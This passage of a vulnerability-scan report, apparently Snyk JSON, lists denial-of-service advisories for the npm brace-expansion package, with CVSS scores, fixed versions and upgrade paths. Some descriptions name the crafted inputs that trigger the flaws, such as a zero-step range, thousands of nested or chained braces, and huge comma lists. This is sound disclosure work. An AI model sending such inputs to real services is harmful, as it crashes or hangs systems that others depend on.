"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
